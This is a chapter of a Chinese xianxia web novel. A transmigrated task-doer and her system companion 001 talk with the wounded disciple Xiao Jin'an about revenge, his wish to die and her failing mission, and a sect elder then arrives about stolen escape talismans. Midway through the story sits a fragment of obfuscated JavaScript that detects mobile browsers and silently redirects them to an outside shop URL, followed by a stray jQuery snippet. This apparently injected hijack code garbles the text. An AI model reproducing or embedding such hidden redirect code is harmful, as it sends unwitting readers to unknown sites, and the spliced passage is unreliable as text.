她垂着眼细细思索,越想越觉得这个推断合情合理,萧今安是同辈里天赋顶尖的一批,修炼速度也是个中翘楚,远超同龄人,如果是一开始就有心魔,心境必然不稳,修炼的效率肯定会大打折扣。
纵使一开始会有心结,也只会是修炼路上的小插曲,绝对不会是后来堕魔的诱因。
那么真正让他走火入魔的心结肯定是出现在他进入化神期之后。
【不无可能。】
001冰冷的机械音在她脑海响起,算是认同了她的推断。
沈知微轻轻舒了口气,眉眼间凝着的思索之色缓缓褪去,语气淡然:“既然如此,就走一步看一步吧。”
如今该做的都已经做了,剩下的既看天意,又看他自己。
想着想着,沈知微已经不知不觉地到了门口,她推开屋门,很快褪去外衣躺在床上。
神经骤然放松,疲惫瞬间席卷全身,她没再胡思乱想,闭眼片刻,便沉沉睡了过去。
……
萧今安醒来的时候,已经是第二天傍晚。
晚霞映出的光从窗户处透进来,把整间竹屋染成一片昏黄的暖色调。
他睁开眼后盯着头顶的房梁看了好一会儿,才意识到发生了什么。
他试着动了动身体,大体上没什么不舒服,只有胸口被花无妄伤到的地方还在隐隐发闷。
看来是有人给他处理过伤口,还……换了干净的里衣。
是沈知微吗?
他撑着床板坐起来,掀开被子,扶着床沿慢慢站起来。
腿还有些发软,但走路不成问题。
他推开竹门,一阵风迎面扑来,眼下不过早秋,温度对他这个凡人来说还算适宜。
院子里,沈知微正坐在石桌前。
她手里端着杯茶,面前摊着一本翻了小半的剑谱,听到开门的动静,抬眼朝他看过来。
夕阳从她身后打过来,把她整个人笼在一层暖金色的光晕里,他看不清她的表情。
“醒了。”
她把剑谱合上,抬了抬下巴,示意萧今安过来坐。
萧今安在竹屋门口站了片刻,才抬脚走过去,在沈知微对面的石凳坐下。
他坐下之后沉默了一会儿,像是在措辞,然后他抬起眼,问了一个她没想到的问题:“我的衣服……是你换的?”
沈知微端着茶杯的手顿了一下,抬眼看他,少年的表情很认真,眉头微微拧着,显然这件事他有些介意。
她放下茶杯,起了逗弄他的心思,嘴角浮起一丝不太正经的笑:“是我,怎么了?”
萧今安的表情肉眼可见地僵了一瞬,若是仔细观察还能发现耳尖处也泛起可疑的红色,但面上依旧绷着,嘴唇动了动,想说点儿什么,但话到嘴边全被他咽了回去。
沈知微帮他报仇,还把他从魔宫里救了出来,哪怕他心里有些介意,但此刻他是绝对没有资格摆脸色的。
他垂下眼帘,把那些乱七八糟的念头一并压了下去,最终只是淡淡地说了一句:“多谢。”
沈知微看着他这副明明介意得要命又拼命忍着不发作的模样,忍不住笑了一声,语气里带着几分促狭:“我在你心里就是这样的人吗?”
接着就将真相告诉了他:“给你换衣服的是来看病的大夫。”
萧今安的表情再次僵住,这次是羞愧,刚才那一瞬间确实是这么想的,虽然没有说出口,但她显然看出来了。
他低下头,耳尖的红已经从不易察觉变成了无法掩饰。
“……抱歉。”
沈知微摆了摆手,她并不注重这些。
她把剑谱推到一边,双手交叠搁在石桌上,看着他的眼睛,脸上的笑意渐渐收了回去,换上了一副算账的表情。
“那就说说正事。”
沈知微的声音慢慢沉了下来,她愿意帮他,并不意味着他利用她这件事可以轻易翻篇,同时她又有些好奇:“你就这么确定我一定会帮你?”
萧今安迎着她的目光,沉默了好一会儿,他的喉结微微滚动了一下,然后开口:“你不是喜欢我吗。”
沈知微被他这句话堵得顿了一下,她挑了挑眉,反问:“所以呢?你觉得我喜欢你就会愿意为你做任何事?”
萧今安盯着她看了片刻,然后摇了摇头。
喜欢这种情感,是能从眼神中看出来的,而沈知微看向他的眼神,显然是没有这个东西的。
从一开始他就当这句话只是一个玩笑,他更偏向于沈知微想从他身上得到什么。
他顿了顿,垂下眼帘,声音又低了几分:“你若不来帮我,我只当是去了却执念。”
此时花无妄的修为已经到了化神期巅峰,离大乘也就临门一脚的事,而当年他堕魔时也不过化神中期,无论如何,他都无法亲自去报这个仇。
所以他赌了一把,既然沈知微对他有所求,应当不会放着不管。
不过很幸运,他赌对了。
哪怕赌错了,也不过就一个死,他早就不想活了。
沈知微显然捕捉到了他话里的意思:“那你的师尊怎么办?”
他想死,他不想再和江凛月重续前缘,这都是他的个人意愿,但在他的角度,宋昭衍被夺舍是因他而起。
难道就这么用死亡来逃避?一了百了?
萧今安沉默了一会儿:“师尊曾教导过我,万事遵从本心。”
关于宋昭衍的记忆,他如今所记不多,但唯有这一句,他记得清清楚楚。
沈知微能随意穿越时空,甚至他师尊那样的强者也能随意夺舍。
哪怕他按照她的想法做事,他们的命对于她来说也不过一念之间。
毫无意义。
“遵从本心?”
沈知微不知想到了什么,轻笑一声。
她抬眸盯了他片刻,目光带了些释然:“好,那就遵从本心。”
放过他,也放过自己。
识海中,001似乎是感受到沈知微的想法,声音蓦然响起。
【宿主,任务完不成会被抹杀。】
“慌什么?抹杀的是我,又不是你。”
001被怼的哑口无言,许久没再说话。
识海外,萧今安听罢后也是一愣:“什么意思?”
沈知微眉梢轻轻一挑,眼底漫开淡淡的笑意:“如你所说,遵从本心。”
萧今安意识到了什么,但还是不太确定,但就在他想继续问的的时候,沈知微却没给他这个机会:“你好好休息,明天我会把你的魔族血脉封印。”
说完,她没再多看他,单手虚虚一摆,显然是不想再说这个话题。
萧今安几次欲言又止,目光落在她身上迟疑许久,最后留下一句:“多谢。”
晚风扫过衣摆,她轻轻收回抬起的手,垂在身侧,轻轻叹了口气。
识海中,001似乎是出故障了,原本清晰透亮的浅蓝色光屏猛地闪烁起来。
整个界面上出现了大片雪花纹路,文字一段段扭曲、消散,时而黑屏时而闪烁,原本规整的面板彻底乱作一团。
冰冷的机械音断断续续地卡顿着,时不时还有电流的滋滋声。
“001,你怎么了?”
不知道是不是受到了系统影响,她的头也开始疼了起来。
沈知微不解,怎么突然出故障了。
好在故障的时间没持续多久,屏幕重新亮了起来,随之出现的还有001的声音。
【抱歉宿主,出了点故障,已经修好了。】
她很无语:“你们总部的品控这么差吗?”
感觉像是无良公司制造的三无产品。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773523|209969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>【抱歉宿主,问题我会反应给总部,之后不会再出现了。】
沈知微目前不太想跟它扯皮:“这个任务什么时候结束?”
001顿了顿:【还有八十多年。】
算下来差不多是当年萧今安入魔的时间。
八十多年,这个时间不论对于修仙者还是她这个任务者,都不算长。
攻略萧今安这个任务,她并没有太大信心,而且任务内容并不符合她的心意,原本做任务只是为了赚积分过更好的生活,可现在失败的惩罚竟然是死。
与其违背自己的三观累死累活做任务,何不在这几十年里开心地活着呢?
“好,我知道了。”
系统敏锐地察觉到了她的想法:【宿主请不要灰心,就像我们刚见面说的,此任务是您完成指标的奖励。】
说完001的屏幕又闪了几下,回归平静后,它又补充了一句。
【萧今安会爱上您的。】
沈知微听完那段话,先是安静了一瞬,随即低低地笑出声:“这是安慰吗?那就借你吉言。”
话音落下,一人一系统都没再出声。
正当她准备重新打开剑谱时,一道声音在她耳边响起。
“昭衍。”
沈知微抬头,循声望去。
一个看上去四十出头穿着藏青色衣袍的中年男人正站在院门口,身形修长挺拔。
是丹房陈长老的大弟子,张聿锋。
沈知微笑着朝他点了下头,示意他进来说话。
修为到了元婴期,修士便可以自定外貌,大多数人都会选择留在二十岁左右的年纪,但张聿锋偏不。
理由是觉得符合自己的气质。
不过不管是看外貌还是心态,都看不出张聿锋如今已经五百多岁了。
不多时,他就坐在了她的对面,愣了一瞬,才终于开始说此行的目的。
“昭衍啊,那个……我们丹房丢了一些遁空符。”
沈知微:“……?”
张聿锋瞧着她的脸色有点不对劲,遂解释:“本来丢几张符箓不是什么大事,但这遁空符的来历有些特殊,是千符院前任长老亲手炼制的,你也知道,那位老前辈的符箓千金难求,市面上根本买不到。”
“当年千符院拿符箓跟我们丹房换了一批丹药,后来就一直搁在典籍室的抽屉里,几十年没人动过,昨天千符院那边有弟子说感应到了遁空符被催动的气息,一路追查,就查到了丹房。”
张聿锋也是不太理解:“按理说这符箓既然换给了丹房,那就是丹房的东西,用也好丢也好,都是关起门来的事,可千符院那边不依不饶,非说这符箓是前任长老的心血,不能就这么不明不白地没了,非要查清是谁用的。”
听完这一长串,沈知微抿了抿唇,一时无言。
旁人或许不知,但天衍宗的长老都清楚,论辈分,张聿锋算的上是宋昭衍的叔父。
他和她的父母是生死之交,两人去世前将宋昭衍托付给了他,是以,张聿锋也算得上是她半个父亲。
此时让他来当说客,想必事情已经查的差不多了,这算是给了个台阶。
看来萧今安是逃不过去了。
“辛苦叔父了。”
沈知微语气郑重了几分,不用想也知道张聿锋在来之前已经游说过几轮了。
话音落下片刻,西屋的竹门被人从里面推开。
他来到沈知微身侧站定,朝张聿锋行了个晚辈礼,姿态端正,不卑不亢:“萧今安,见过师兄。”
刚刚的事,沈知微已经施法告诉他了,此事确实是他的错,他也没什么可辩驳的。
张聿锋上下打量了他一番。
少年身形单薄,脸色还带着几分病后的苍白,他看了片刻,微微点头:“不错,就是胆子太大了些。”